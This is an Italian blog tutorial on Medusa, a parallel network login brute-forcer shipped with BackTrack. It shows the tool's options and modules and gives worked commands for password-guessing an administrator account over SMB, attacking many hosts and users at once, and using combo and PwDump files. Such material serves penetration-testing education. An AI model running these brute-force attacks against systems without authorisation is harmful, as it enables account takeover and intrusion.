
Ciao a tutti,
eccoci arrivati a descrivere e a testare un altro tool , inserito in BackTrack nella sezione del “Privilege Escalation” , il tool di cui stiamo parlando , già dalla foto , è il Medusa…
…ma cosa è Medusa?
Medusa è un login brute-forcer veloce, modulare, parallelo per servizi di
rete , creato da the geeks [Foofus.net].
Il nome Medusa , deriva proprio dall’obbiettivo principale dei creatori di questo tool , e cioè:
il supporto di quanti più servizi di rete possibili che richiedano l’autenticazione da remoto verso un unico host da attaccare.
I creatori di Medusa individuano 3 caratteristiche principali attribuibili al tool:
Può essere utilizzato contro più hosts, users o passwords contemporaneamnte;
tool in vari modi e ogni attacco può essere diretto a una sola vittima
o a più vittime contemporaneamente;
Ciò significa che non è necessaria alcuna modifica al “core” del tool per implementare
altre funzioni inizialmente non supportate da Medusa.
Passiamo ora all’uso più prettamente pratico del tool in questione:
Per visualizzare tutte le opzioni che Medusa supporta ci basta digitare
%medusa
l’output sarà:
bt ~ # medusa
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ALERT: Host information must be supplied.
Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : Target hostname or IP address
-H [FILE] : File containing target hostnames or IP addresses
-u [TEXT] : Username to test
-U [FILE] : File containing usernames to test
-p [TEXT] : Password to test
-P [FILE] : File containing passwords to test
-C [FILE] : File containing combo entries. See README for more information.
-O [FILE] : File to append log information to
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)
-d : Dump all known modules
-n [NUM] : Use for non-default TCP port number
-s : Enable SSL
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)
-r [NUM] : Sleep NUM seconds between retry attempts (default 3)
-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-t [NUM] : Total number of logins to be tested concurrently
-T [NUM] : Total number of hosts to be tested concurrently
-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.
-f : Stop scanning host after first valid username/password found.
-F : Stop audit after first valid username/password found on any host.
-b : Suppress startup banner
-q : Display module’s usage information
-v [NUM] : Verbose level [0 - 6 (more)]
-w [NUM] : Error debug level [0 - 10 (more)]
-V : Display version
Ora possiamo visualizzare tutti i moduli che sono già implementati all’ interno di Medusa con la
versione installata indicata a lato , diamo quindi da shell il seguente comando:
bt~# medusa -d
ed il nostro sistema ci elencherà i moduli disponibili…
bt ~ # medusa -d
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
Available modules in “.” :
Available modules in “/usr/local/lib/medusa/modules” :
+ cvs.mod : Brute force module for CVS sessions : version 1.0.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 1.3.0
+ http.mod : Brute force module for HTTP : version 1.3.0
+ imap.mod : Brute force module for IMAP sessions : version 1.1.0
+ mssql.mod : Brute force module for M$-SQL sessions : version 1.1.1
+ mysql.mod : Brute force module for MySQL sessions : version 1.2
+ nntp.mod : Brute force module for NNTP sessions : version 0.9
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 1.0.2
+ pop3.mod : Brute force module for POP3 sessions : version 1.1.1
+ postgres.mod : Brute force module for PostgreSQL sessions : version 1.0.0
+ rexec.mod : Brute force module for REXEC sessions : version 1.1.1
+ rlogin.mod : Brute force module for RLOGIN sessions : version 1.0.2
+ rsh.mod : Brute force module for RSH sessions : version 1.0.1
+ smbnt.mod : Brute force module for SMB/NTLMv1 sessions : version 1.3.1
+ smtp-auth.mod : Brute force module for SMTP Authentication with TLS : version 0.9.1
+ smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 0.9.1
+ snmp.mod : Brute force module for SNMP Community Strings : version 1.0.0
+ ssh.mod : Brute force module for SSH v2 sessions : version 1.0.2
+ svn.mod : Brute force module for Subversion sessions : version 1.0.0
+ telnet.mod : Brute force module for telnet sessions : version 1.2.1
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 1.0.0
+ vnc.mod : Brute force module for VNC sessions : version 1.0.1
+ web-form.mod : Brute force module for web forms : version 0.9
+ wrapper.mod : Generic Wrapper Module : version 1.0.1
Per visualizzare le opzioni riguardanti ciascun modulo è sufficiente digitare:
medusa -M nomemodulo -q
esempio: medusa -M mysql -q (Il modulo utilizzato in questo esempio è mysql.mod)
L’output sarà il seguente:
bt ~ # medusa -M mysql -q
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
mysql.mod (1.2) JoMo-Kun <jmk@foofus.net> :: Brute force module for MySQL sessions
Available module options:
PASS:? (PASSWORD*, HASH)
PASSWORD: Use normal password.
HASH: Use a hash rather than a password. (non-SHA1 hashes only)
(*) Default value
Usage examples:
1: Normal boring check…
medusa -M mysql -h somehost -u someuser -p somepassword
2: Using an old-style MySQL hash…
medusa -M mysql -h somehost -U users.txt -p 39b52a209cf03d62 -m PASS:HASH
Andiamo avanti con il nostro tutorial per capire effettivamente come funziona
Medusa.
Eseguiamo un attacco:
i comandi che seguono servono a Medusa per testare tutte le password contenute nel
file che chiemrò “passwords.txt” contro un singolo user (administrator) sull’host 192.168.0.20 attraverso il protocollo SMB.
I comandi dati dovrebbero essere chiari mentre per l’ -e ns , che non è assolutamente
da tralasciare , serve un’ulteriore spiegazione. Questi infatti serve a per far eseguire al
tool un controllo supplementare , controllo che andrà a verificare che l’administrator abbia lasciato in bianco il campo “password” oppure nel caso in cui “password” e “username” siano gli stessi.
bt~# medusa -h 192.168.0.20 -u administrator -P passwords.txt -e ns -M smbnt
Medusa v1.0-rc1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: (1/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: administrator (2/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: password (3/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass1 (4/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass2 (5/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass3 (6/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass4 (7/7)
L’attacco è stato effettuauto.
La riga di comando in basso ci mostra la funzionalità di Medusa per quanto riguarda l’attacco
parallelo. Qui almeno 20 hosts e 10 users sono attaccati contemporaneamente. L’istruzione -L serve per far
controllare a Medusa un solo username di ogni host specificato.
medusa -H hosts.txt -U users.txt -P passwords.txt -T 20 -t 10 -L -F -M smbnt
Medusa è stata progettata per ricevere da input host/username/password, dati che possono essere usati in un file detto “combo” file , ovvero combinato.
Un file combo può essere specficato tramite l’opzione “-C“.
Il file deve avere i valori formattati per colonna in questo modo:
host:user:password
Se uno dei 3 valori viene lasciato vuoto, la rispettiva informazione deve essere fornita o attraverso una
valutazione globale o attraverso un’apposita lista contenuta in un altro file.
Medusa provvederà a un controllo dei parametri utilizzando la prima riga del file fornitogli.
Le combinazioni utilizzabili in un combo file sono le seguenti:
host:username:password
host:username:
host::
:username:password
:username:
::password
host::password
Quindi riportiamo di seguito il comando per un semplice attacco che controllerà ogni voce riportata
in un combo file:
medusa -M smbnt -C combo.txt
il file combo:
192.168.0.20:administrator:password
192.168.0.20:testuser:pass
192.168.0.30:administrator:blah
192.168.0.40:user1:foopass
Mentre l’esempio succesivo servirà per controllare ogni voce del file combo.txt contro gli obbiettivi
in lista nel file “hosts.txt“.
medusa -M smbnt -C combo.txt -H hosts.txt
il file combo.txt:
administrator:password
testuser:pass
administrator:blah
user1:foopass
Medusa inoltra supporta i files PwDump come combo file; la formattazione di questi file deve essere la
seguente:
user:id:lm:ntlm:::
Medusa cerca ::: alla fine della prima linea per determinare se il file contiene un output PwDump.
***
***
Parlando del Medusa , quì nel «back|track~blog , non è la prima volta che parliamo di Password-Attack , infatti prima di questo tool abbiamo trattato l’ Hydra , attualmente sempre in backtrack , ma visto che su Hydra di video in rete già se ne tovano , abbiamo realizzato un video usando come tool appunto Medusa… …per coloro che volessero vederne le differenze posso recarsi a quest’ indirizzo.
Dal video potete vedere benissimo che abbiamo realizzato due tipi di attacco con Medusa , entrambi diretti su di un unico host , determinato tramite IP , dove la prima volta per effettuare l’ attacco usufruisco di quattro files di testo , hosts.txt [opzione -H] , pass.txt [opzione -P] , user.txt [opzione -U] , e res.txt [opzione -O] , per ottenere il risultato in un file di testo.
Dal video , nel primo caso otteniamo il risultato dal valore immesso tra le parentesi da Medusa , [ad esempio (1/7)] , che ha successo con la prima stringa (1) immessa nel file ; nel secondo caso invece utilizzo un file combo , che contiene le stesse informazioni dei files precedenti , naturalmente inseriti come da spiegazione descritta sopra.
Entrambe riportano come password la stringa “brigante“.
Tutti i files sono contenuti nella directory “/” , in modo da non dover digitare da shell tutti i percorsi dove i files *.txt sono contenuti.
Fonte: Carlito Brigante Blog